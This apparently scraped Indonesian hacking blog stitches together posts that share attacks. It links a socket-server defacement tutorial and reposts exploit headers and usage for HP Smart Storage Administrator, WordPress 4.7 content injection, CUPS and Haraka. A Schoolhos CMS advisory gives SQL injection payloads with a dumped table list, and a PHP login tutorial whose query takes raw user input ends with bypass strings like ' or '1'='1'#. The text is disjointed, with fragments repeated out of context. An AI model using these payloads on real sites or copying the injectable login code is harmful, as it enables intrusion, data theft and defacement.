Final Release!
SafeURL V 2.0 Beta Done Upload on Github!
-> Link Get Source Code
This demo about my project. Some features are not yet available.
-> Advertisement panel
-> News Panel
-> Use Password and Expired when link visited!
Note : If you set use password is yes, when everyone visit you link must be insert password and if no, no password request ^_^
Note : This Project Open Source so you can modift or what you need!
But don't remove my name at my project!
If you want to help me develop this project, you can help me by donating using Bitcoin
BTC Address 1 : 1NrYcaRV5XXrmt4idvCaJQGCmUxrjffri4
BTC Address 1 : 1GDzh9SVDZuX9UybQSM6o2dsCitxivMwBR
Author : Re Zero Labs || www.rezerolabs.xyz
| Link Source Code | Upload Date |
|---|---|
| Direct Download | Unknow |
: 1NrYcaRV5XXrmt4idvCaJQGCmUxrjffri4
: 1GDzh9SVDZuX9UybQSM6o2dsCitxivMwBR
Selamat malam soba blogger! Malam hari ini saya akan share bagaimana cara socket server, seperti server Meme Comic Indonesia (MCI) kenak Deface di Port 1337.
Kita gunakan method yang di share oleh Founder IndoXploit, yuk di simak video tutorial di bawah ini:
for run perl filename.pl example : perl.indoxploit.pl for check run or not ps aux | grep 'filename' example : ps aux | grep'indoxploit'
| Script/Tool | Upload Date |
|---|---|
| Paste Bin | Unknow |
: 1GDzh9SVDZuX9UybQSM6o2dsCitxivMwBR
: -
| Filename | Download Link | File Size | Upload Date |
|---|---|---|---|
| Unlock kbagi.com | Open Load | 1 KB | 23-Mei-2017 08:04:58 |
: 1GDzh9SVDZuX9UybQSM6o2dsCitxivMwBR (Bitcoin)
: -
When it comes to having a certain PC streamlined, base lined, or simply reformatted, there are various ways to do so. Many resort to using the traditional clean install, where the primary driver is reformatted, thus leaving the PC clean and new, and the only thing that is very tedious to do afterwards are none other than installing once again the drivers or hardware installed on the computer, which usually take 2 or 3 hours to finish. What more if the computer is having a problem to boot or load the operating system? What if the BIOS (Basic I/O or Input / Output System) becomes corrupt thus not able to access the operating system like Windows or Mac, and not being able to access the files? Well, there is a solution to this, and it’s another easy to use software: Hiren’s BootCD.
Hiren’s BootCD is a boot disk utility that will help in resolving and making reformatting your computer easy. This kind of compilation software provides a compilation of programs to help resolves most and some uncommon Internet and computer issues like driver failure, intermittent internet connection and other computer malfunctions.
Partition Tools
Backup & Recovery
Antivirus Tools
Testing Tools
Password Tools
Mini Windows XP
Other Tools
| Filename | Download Link | File Size | Upload Date |
|---|---|---|---|
| Hirens.BootCD.15.2 | Direct Download | 593M | 09-Nov-2012 05:08 |
| Hirens.BootCD.10.6 | Direct Download | 270M | 02-Nov-2010 14:44 |
| Hirens.BootCD.9.9 | Direct Download | 177M | 02-Nov-2010 16:35 |
: 1GDzh9SVDZuX9UybQSM6o2dsCitxivMwBR
: -
Description:# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
This module exploits a vulnerability found in HP Smart Storage Administrator. By supplying a specially crafted HTTP request, it is possible to control the 'command' variable in function isDirectFileAccess (found in ipcelmclient.php), which will be used in a proc_open() function. Versions prior to HP SSA 2.60.18.0 are vulnerable.
Title : HP Smart Storage Administrator Remote Command InjectionCode Metasploit:
Author : Nicolas Mattiocco (@MaKyOtOx)
Platform : Linux/Windows
DisclosureDate : Jan 30 2017
CVE : 2016-8523
'php' is not recognized as an internal or external command,Screenshot:
operable program or batch file.
Note: tulisan yang merah di sesuaikan dengan letak php.exe - nya :DPATH %PATH%;C:\xampp\php
Yahoo kawan, kali ini saya akan berbagi sebuah exploit yang sesusai judulnya. Yap langsung ajah di simak ya ^_^# Exploit Title: Wordpress 4.7.0/4.7.1 Unauthenticated Content Injection PoC# Date: 2017-02-02# Exploit Author: @leonjza# Vendor Homepage: https://wordpress.org/# Software Link: Download here# Version: Wordpress 4.7.0/4.7.1# Tested on: Debian Jessie## PoC gist: Here## 2017 - @leonjza## Wordpress 4.7.0/4.7.1 Unauthenticated Content Injection PoC# Full bug description: Read here
Usage example:List available posts:
## $ python inject.py http://localhost:8070/# * Discovering API Endpoint# * API lives at: http://localhost:8070/wp-json/# * Getting available posts# - Post ID: 1, Title: test, Url: http://localhost:8070/archives/1#Update post with content from a file:## $ cat content# foo## $ python inject.py http://localhost:8070/ 1 content# * Discovering API Endpoint# * API lives at: http://localhost:8070/wp-json/# * Updating post 1# * Post updated. Check it out at http://localhost:8070/archives/1# * Update complete!
Tool:Sekian terima kasih, jika ada kesalahan kata mohon maaf ^_^. We just shared not claimer ^_^Special Thank for : @leonjzaSource/original post: Here # Exploit Title: CUPS Reference Count Over Decrement Remote Code Execution
# Google Dork: n/a
# Date: 2/2/17
# Exploit Author: @0x00string
# Vendor Homepage: cups.org
# Software Link: https://github.com/apple/cups/releases/tag/release-2.0.2
# Version: <2.0.3
# Tested on: Ubuntu 14/15
# CVE : CVE-2015-1158
# Exploit Title: Harakiri
# ShortDescription: Haraka comes with a plugin for processing attachments. Versions before 2.8.9 can be vulnerable to command injection
# Exploit Author: xychix [xychix at hotmail.com] / [mark at outflank.nl]
# Date: 26 January 2017
# Category: Remote Code Execution
# Vendor Homepage: https://haraka.github.io/
# Vendor Patch: https://github.com/haraka/Haraka/pull/1606
# Software Link: https://github.com/haraka/Haraka
# Exploit github: http://github.com/outflankbv/Exploits/
# Vulnerable version link: https://github.com/haraka/Haraka/releases/tag/v2.8.8
# Version: <= Haraka 2.8.8 (with attachment plugin enabled)
# Tested on: Should be OS independent tested on Ubuntu 16.04.1 LTS
# Tested versions: 2.8.8 and 2.7.2
# CVE : CVE-2016-1000282
# Credits to: smfreegard for finding and reporting the vulnerability
# Thanks to: Dexlab.nl for asking me to look at Haraka.
Schoolhos CMS 2.29 vulnerability teradapt SQL Injection, sperti apa exploitnya simak artike ini.Info:Technical Detail and Description:
Doc Title: Schoolhos CMS v2.29 - SQL Injection Vulnerability
Exploit Type: SQL Injection Vulnerability
Exploitation Technique: Remote
Severity Level: High
Author: Vulnerability-Lab
Release Date: 2016-11-07
Vendor Homepage: Schoolhos
Lates CMS Download: CMS Schoolhos Download
Vuln CMS Download: Vulnerable App
A remote sql injection web vulnerability has been discovered in the official Schoolhos v2_29 content management system.The web vulnerability allows remote attackers to execute own malicious sql commands to compromise the application or dbms.The sql injection vulnerability is located in the `kelas` parameter of the `index?p=siswakelas module POST method request.Remote attackers are able to execute own sql commands by usage of an insecure post method request through the vulnerableparameter of the own application. The attack vector of the vulnerability is application-side and the request method toinject is POST. The security vulnerability in the content management system is a classic select remote sql-injection.The security risk of the vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.7.Exploitation of the remote sql injection vulnerability requires no user interaction or privileged web-application user account.Successful exploitation of the remote sql injection results in database management system, web-server and web-application compromise.
Proof of Concept ( PoC ):
Request Method(s):[+] POSTVulnerable Module(s):[+] ./SCRIPTPATH/index.php?p=siswakelasVulnerable Parameter(s):[+] kelas
Remote sql-injection kerentanan web dapat dimanfaatkan oleh penyerang jarak jauh tanpa web-aplikasi akun pengguna istimewa dan tanpa interaksi pengguna.
Untuk demonstrasi keamanan atau untuk mereproduksi sql-injection kerentanan web mengikuti informasi yang diberikan dan langkah-langkah di bawah ini untuk melanjutkan.
Solution - Fix and Patch:PoC Session Logs:[+] Place: POST > Parameter: kelasType: boolean-based blindTitle: AND boolean-based blind - WHERE or HAVING clausePayload: kelas=1' AND 4945=4945 AND 'SfWY'='SfWYType: UNION queryTitle: MySQL UNION query (NULL) - 3 columnsPayload: kelas=-2062' UNION ALL SELECT NULL,CONCAT(0x71736b6271,0x43746d4846536767524d,0x716b6d6171),NULL#Type: AND/OR time-based blindTitle: MySQL > 5.0.11 AND time-based blindPayload: kelas=1' AND SLEEP(5) AND 'Wqrd'='Wqrd---[21 tables]+-----------------+| sh_agenda || sh_album || sh_berita || sh_buku_tamu || sh_galeri || sh_guru_staff || sh_info_sekolah || sh_jabatan || sh_kategori || sh_kelas || sh_komentar || sh_mapel || sh_materi || sh_pengaturan || sh_pengumuman || sh_psb || sh_sidebar || sh_siswa || sh_statistik || sh_tema || sh_users |+-----------------+
Kerentanan sql-injection di `parameter kelas` dari` permintaan metode file POST index.php` dapat ditambal oleh penggunaan yang amanCredits and Authors:
Pernyataan siap. Mengurai parameter dan mengkodekan nilai-nilai ke format aman untuk mencegah lebih lanjut
serangan sql-injection. Melarikan diri parameter dan melarang penggunaan karakter khusus.
Vulnerability Laboratory [Research Team] - Lawrence Amer (www.vulnerability-lab.com/show.php?user=Lawrence Amer)Disclaimer and Information:
Domains: Vulnerability Lab - Vuln Lab - EvolutionReferences [Source]:
Section: Magazine - Vuln lab Contact - Evolution Contact
Social: Twitter Vuln Lab - Facebook Vuln Lab
Feeds: Vuln Lab RSS - UP Coming - News
Vuln Lab ArtikelSekian dari artikel yang saya tulis. Mohon maaf jika ada kekurangnnya ya kawan. Semoga bermanfaat ^_^. Jangan lupa like dan share post ini ya ^_^.
Exploit DB
Download Login Multi Level
demo_login lalu buat table dengan nama tbl_login dengan colums 4, perhatikan screenshot berikut ini:
tbl_login:Username: vipNote: Password harus menggunakan hash MD5.
Password: vip
Level: vip
Username: trial
Password: trial
Level: trial
tbl_login selanjutnya buat file login.php dan copy code berikut ini:Langkah selanjutnya membuat file
<?php session_start(); /** @Filename: login.php @Version: 0.1 @Author: Aihara Anwaru @Blog: http://rezerolab.blogspot.com @E-mail: anwaru@yandex.com @deskripsi: baca di google ajah gan **/ //@check sudah login atau belum if(@$_SESSION['level'] == "vip"){ echo "<script>window.location='./vip.php'</script>"; }elseif(@$_SESSION['level'] == "trial"){ echo "<script>window.location='./trial.php'</script>"; } //@setting connection ke databse $con = new mysqli('localhost', 'root', '', 'demo_login'); if($con->connect_errno > 0) { die('Could not connect: ' . connect_error()); } ?> <html> <head> <title>Login Multi Level</title> <link href='view-source:http://d2f0ora2gkri0g.cloudfront.net/bkasia47535_favicon.ico?v=1474960911' rel='icon' type='image/x-icon'/> <link href='https://plus.google.com/110358378598572679031/posts' rel='publisher'/> <link href='https://plus.google.com/110358378598572679031/about' rel='author'/> <link href='https://plus.google.com/110358378598572679031' rel='me'/> <meta content='LlbnsWclpd4kvm3UoaTcB1Wi033-vYqxDRylELAz4HQ' name='google-site-verification'/> <meta content='9B7052F906A8B4A4D601D2C9EB2813C4' name='msvalidate.01'/> <meta content='xxxxx' name='alexaVerifyID'/> <meta content='Indonesia' name='geo.placename'/> <meta content='Aihara Anwaru' name='Author'/> <meta content='general' name='rating'/> <meta content='id' name='geo.country'/> <meta content='https://www.facebook.com/tinkere21' property='article:author'/> <meta content='https://www.facebook.com/rezerolab' property='article:publisher'/> <meta content='xxxxx' property='fb:app_id'/> <meta content='xxxxx' property='fb:admins'/> <meta content='en_US' property='og:locale'/> <meta content='en_GB' property='og:locale:alternate'/> <meta content='id_ID' property='og:locale:alternate'/> <meta content='summary' name='twitter:card'/> <meta expr:content='data:blog.pageTitle' name='twitter:title'/> <meta content='xxxxx' name='twitter:site'/> <meta content='xxxxx' name='twitter:creator'/> <style type="text/css"> body{ background:#000; color:#00ff00; border-style: dashed; } h1{ text-align: center; } #login-form{ text-align: center; } input{ border: 1; border-color: #df0000; background: #000; color: #00ff00; border-style: dashed; } #footer{ text-align: center; color:#666699; text-transform: none; text-decoration: none; } a{ color:#df0000; text-transform: none; text-decoration: none; } a:hover{ color:#00ff00; text-transform: none; text-decoration: none; } #alert{ text-align: center; color:#df0000; } #success{ text-align: center; color:#00ff00; } #flag{ text-align: center; color:#00f } </style> </head> <body> <h1><a href="http://rezerolab.blogspot.com">Re Zero Labs</a> Login Multi Level</h1> <div id="alert"> <?php if(@$_GET['st'] == "info"){ echo "<p>Your Username/Password Is Empty</p>"; }elseif(@$_GET['st'] == "warning"){ echo "<p>Username/Password Not Macth! Try Again!</p>"; } ?> </div> <form id="login-form" action="?do=login&act=login&st=true" method="POST" /> <input type="text" name="user" /> : <input type="password" name="pass" /> = <input type="submit" name="go" value="Login" /> </form> <div id="footer"> <p>Copyright © 2016 <a href="http://rezerolab.blogspot.com">Re Zero Labs</a></p> </div> <?php $do = @$_REQUEST['do'] == "login"; $gate =@$_REQUEST['act'] == "login"; $status =@$_REQUEST['st'] == "true"; $user = @$_POST['user']; $pass = @$_POST['pass']; if($do){ if($user == '' || $pass == ''){ echo "<script>window.location='?act=info'</script>"; }else{ $sqli_query = $con->query("SELECT * FROM tbl_login WHERE username='$user' and password=md5('$pass')"); $sqli_row=$sqli_query->fetch_array(); $sqli_count = $sqli_query->num_rows; if($sqli_count == "0"){ echo "<script>window.location='?st=warning'</script>"; }elseif($sqli_count == "1"){ if($sqli_row['level'] == "vip"){ @$_SESSION['rzlab_level'] = $sqli_row['level']; @$_SESSION['rzlab_id'] = $sqli_row['id']; @$_SESSION['rzlab_uname'] = $sqli_row['username']; echo "<script>window.location='./vip.php?st=sukses'</script>"; }elseif($sqli_row['level'] == "trial"){ @$_SESSION['rzlab_level'] = $sqli_row['level']; @$_SESSION['rzlab_id'] = $sqli_row['id']; @$_SESSION['rzlab_uname'] = $sqli_row['username']; echo "<script>window.location='./trial.php?st=sukses'</script>"; } } } } ?> </body> </html>
vip.php dan trial.php. Copy code berikut ini:vip.php
<?php
session_start();
/**
@Filename: vip.php
@Version: 0.1
@Author: Aihara Anwaru
@Blog: http://rezerolab.blogspot.com
@E-mail: anwaru@yandex.com
**/
//@check sudah login atau belum dan check level
if(@$_SESSION['rzlab_level'] == "trial"){
die("You not allowed to access this page!");
}
if(empty(@$_SESSION['rzlab_level'])){
echo "<script>window.location='./login.php'</script>";
}
//@setting connection ke databse
$con = new mysqli('localhost', 'root', '', 'demo_login');
if($con->connect_errno > 0) {
die('Could not connect: ' . connect_error());
}
?>
<html>
<head>
<title>Login Multi Level</title>
<link href='view-source:http://d2f0ora2gkri0g.cloudfront.net/bkasia47535_favicon.ico?v=1474960911' rel='icon' type='image/x-icon'/>
<link href='https://plus.google.com/110358378598572679031/posts' rel='publisher'/>
<link href='https://plus.google.com/110358378598572679031/about' rel='author'/>
<link href='https://plus.google.com/110358378598572679031' rel='me'/>
<meta content='LlbnsWclpd4kvm3UoaTcB1Wi033-vYqxDRylELAz4HQ' name='google-site-verification'/>
<meta content='9B7052F906A8B4A4D601D2C9EB2813C4' name='msvalidate.01'/>
<meta content='xxxxx' name='alexaVerifyID'/>
<meta content='Indonesia' name='geo.placename'/>
<meta content='Aihara Anwaru' name='Author'/>
<meta content='general' name='rating'/>
<meta content='id' name='geo.country'/>
<meta content='https://www.facebook.com/tinkere21' property='article:author'/>
<meta content='https://www.facebook.com/rezerolab' property='article:publisher'/>
<meta content='xxxxx' property='fb:app_id'/>
<meta content='xxxxx' property='fb:admins'/>
<meta content='en_US' property='og:locale'/>
<meta content='en_GB' property='og:locale:alternate'/>
<meta content='id_ID' property='og:locale:alternate'/>
<meta content='summary' name='twitter:card'/>
<meta expr:content='data:blog.pageTitle' name='twitter:title'/>
<meta content='xxxxx' name='twitter:site'/>
<meta content='xxxxx' name='twitter:creator'/>
<style type="text/css">
body{
background:#000;
color:#00ff00;
border-style: dashed;
}
h1{
text-align: center;
}
#login-form{
text-align: center;
}
input{
border: 1;
border-color: #df0000;
background: #000;
color: #00ff00;
border-style: dashed;
}
#footer{
text-align: center;
color:#666699;
text-transform: none;
text-decoration: none;
}
a{
color:#df0000;
text-transform: none;
text-decoration: none;
}
a:hover{
color:#00ff00;
text-transform: none;
text-decoration: none;
}
#alert{
text-align: center;
color:#df0000;
}
#success{
text-align: center;
color:#00ff00;
}
#flag{
text-align: center;
color:#00f
}
</style>
</head>
<body>
<h1><a href="http://rezerolab.blogspot.com">Re Zero Labs</a> Halaman VIP</h1>
<div id="success">
<?php
if(@$_GET['st'] == "sukses"){
echo "<p>Anda Berhasil Login Sebagai VIP Dengan User ".@$_SESSION['rzlab_uname']."</p>";
}
?>
</div>
<center><p>Selamat datang, <?php echo @$_SESSION['rzlab_uname']; ?> || <a href="?do=logout">Logout</a></p></center>
<div id="footer">
<p>Copyright © 2016 <a href="http://rezerolab.blogspot.com">Re Zero Labs</a></p>
</div>
<?php
$logout = @$_REQUEST['do'] == "logout";
if($logout){
session_destroy();
unset($_SESSION['rzlab_level']);
unset($_SESSION['rzlab_id']);
unset($_SESSION['rzlab_uname']);
echo "<script>window.location='./login.php'</script>";
}
?>
</body>
</html>
trial.php
<?php
session_start();
/**
@Filename: trial.php
@Version: 0.1
@Author: Aihara Anwaru
@Blog: http://rezerolab.blogspot.com
@E-mail: anwaru@yandex.com
**/
//@check sudah login atau belum
if(empty(@$_SESSION['rzlab_level'])){
echo "<script>window.location='./login.php'</script>";
}
//@setting connection ke databse
$con = new mysqli('localhost', 'root', '', 'demo_login');
if($con->connect_errno > 0) {
die('Could not connect: ' . connect_error());
}
?>
<html>
<head>
<title>Login Multi Level</title>
<link href='view-source:http://d2f0ora2gkri0g.cloudfront.net/bkasia47535_favicon.ico?v=1474960911' rel='icon' type='image/x-icon'/>
<link href='https://plus.google.com/110358378598572679031/posts' rel='publisher'/>
<link href='https://plus.google.com/110358378598572679031/about' rel='author'/>
<link href='https://plus.google.com/110358378598572679031' rel='me'/>
<meta content='LlbnsWclpd4kvm3UoaTcB1Wi033-vYqxDRylELAz4HQ' name='google-site-verification'/>
<meta content='9B7052F906A8B4A4D601D2C9EB2813C4' name='msvalidate.01'/>
<meta content='xxxxx' name='alexaVerifyID'/>
<meta content='Indonesia' name='geo.placename'/>
<meta content='Aihara Anwaru' name='Author'/>
<meta content='general' name='rating'/>
<meta content='id' name='geo.country'/>
<meta content='https://www.facebook.com/tinkere21' property='article:author'/>
<meta content='https://www.facebook.com/rezerolab' property='article:publisher'/>
<meta content='xxxxx' property='fb:app_id'/>
<meta content='xxxxx' property='fb:admins'/>
<meta content='en_US' property='og:locale'/>
<meta content='en_GB' property='og:locale:alternate'/>
<meta content='id_ID' property='og:locale:alternate'/>
<meta content='summary' name='twitter:card'/>
<meta expr:content='data:blog.pageTitle' name='twitter:title'/>
<meta content='xxxxx' name='twitter:site'/>
<meta content='xxxxx' name='twitter:creator'/>
<style type="text/css">
body{
background:#000;
color:#00ff00;
border-style: dashed;
}
h1{
text-align: center;
}
#login-form{
text-align: center;
}
input{
border: 1;
border-color: #df0000;
background: #000;
color: #00ff00;
border-style: dashed;
}
#footer{
text-align: center;
color:#666699;
text-transform: none;
text-decoration: none;
}
a{
color:#df0000;
text-transform: none;
text-decoration: none;
}
a:hover{
color:#00ff00;
text-transform: none;
text-decoration: none;
}
#alert{
text-align: center;
color:#df0000;
}
#success{
text-align: center;
color:#00ff00;
}
#flag{
text-align: center;
color:#00f
}
</style>
</head>
<body>
<h1><a href="http://rezerolab.blogspot.com">Re Zero Labs</a> Halaman Trial</h1>
<div id="success">
<?php
if(@$_GET['st'] == "sukses"){
echo "<p>Anda Berhasil Login Sebagai Trial Dengan User ".@$_SESSION['rzlab_uname']."</p>";
}
?>
</div>
<center><p>Selamat datang, <?php echo @$_SESSION['rzlab_uname']; ?> || <a href="?do=logout">Logout</a></p></center>
<div id="footer">
<p>Copyright © 2016 <a href="http://rezerolab.blogspot.com">Re Zero Labs</a></p>
</div>
<?php
$logout = @$_REQUEST['do'] == "logout";
if($logout){
session_destroy();
unset($_SESSION['rzlab_level']);
unset($_SESSION['rzlab_id']);
unset($_SESSION['rzlab_uname']);
echo "<script>window.location='./login.php'</script>";
}
?>
</body>
</html>
Jika sudah semuanya coba kawan jalankan! Semoga berhasil dan mohon maaf jika ada banyak kesalah ya kawan! Sekian saya ucapkan terima kasih. Salam Coder ^_^
Username: 'or' '='Password: 'or' '='
Username: ' or '1'='1'#Password: ' or '1'='1'#
Baca Juga
Cara Fix Login Yang Bisa Di Bypass
